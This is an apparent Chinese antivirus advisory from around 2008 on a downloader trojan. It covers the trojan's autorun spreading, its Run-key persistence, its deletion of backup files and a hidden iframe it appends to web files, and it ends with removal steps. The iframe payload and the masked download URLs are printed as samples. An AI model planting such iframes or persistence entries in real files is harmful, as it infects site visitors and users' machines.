病毒名称： Trojan-Downloader.Win32.Small.ios
病毒类型： 木马类
公开范围： 完全公开
感染系统： Windows98以上版本
 
病毒描述：
该病毒属木马类，病毒运行后判断当前运行文件的路径，如果不是%System32%\SVCH0ST.EXE，将打开当前文件所在目录；制自身到%System32%下，更名为SVSH0ST.EXE，并衍生autorun.inf文件；复制自身到所有驱动器根目录下，更名为niu.exe，并衍生autorun.inf文件，实现双击打开驱动器时，自动运行病毒文件；遍历所有驱动器，在htm、asp、aspx、php、html、jsp格式文件的尾部插入96个字节的病毒代码；遍历磁盘删除以GHO为扩展名的文件，使用户无法进行系统还原；连接网络下载病毒文件；修改系统时间为2000年；病毒运行后删除自身。

本地行为：
1、文件运行后会释放以下文件：
%System%\Autorun.inf 159 字节
%WinDir%\SVSH0ST.EXE 33,932 字节
%HomeDrive%\Autorun.inf  159 字节
%HomeDrive%\niu.exe  33,932 字节
%DriveLetter%\Autorun.inf  159 字节
%DriveLetter%\niu.exe  33,932 字节

2、新增注册表：
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
注册表值: "svchost"
类型： REG_SZ
值： "C:\WINDOWS\system32\SVSH0ST.EXE"
描述: 启动项，使病毒文件在当该系统的所有用户
登陆该系统时，运行病毒文件。

3、搜索指定扩展名的文件，在尾部插入代码：
指定的扩展名包括：htm、asp、aspx、php、html、js六种
插入代码内容如下：
<IfrAmE src=http://www.2****.com.cn width=0 height=0></IfrAmE>

网络行为：
连接网络下载病毒文件：
http://www.2****.com.cn/30000/1.exe
http://www.2****.com.cn/30000/2.exe
http://www.2****.com.cn/30000/3.exe
http://www.2****.com.cn/30000/4.exe
http://www.2****.com.cn/30000/5.exe

清除方案：
1 、使用安天防线2008可彻底清除此病毒(推荐)，

2 、手工清除请按照行为分析删除对应文件，恢复相关系统设置。
(1)“进程管理”关闭病毒进程：SVSH0ST.EXE
(2)删除病毒文件：
%System%\Autorun.inf
%WinDir%\SVSH0ST.EXE
%HomeDrive%\Autorun.inf
%HomeDrive%\niu.exe
%DriveLetter%\Autorun.inf
%DriveLetter%\niu.exe
(3)复病毒修改的注册表项目，删除病毒添加的注册表项：
删除如下注册表项：
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
注册表值: "svchost"
类型： REG_SZ
值： "C:\WINDOWS\system32\SVSH0ST.EXE"
(4)恢复系统时间年份为2008年。
(5)删除所有六类被感染文件尾部的代码。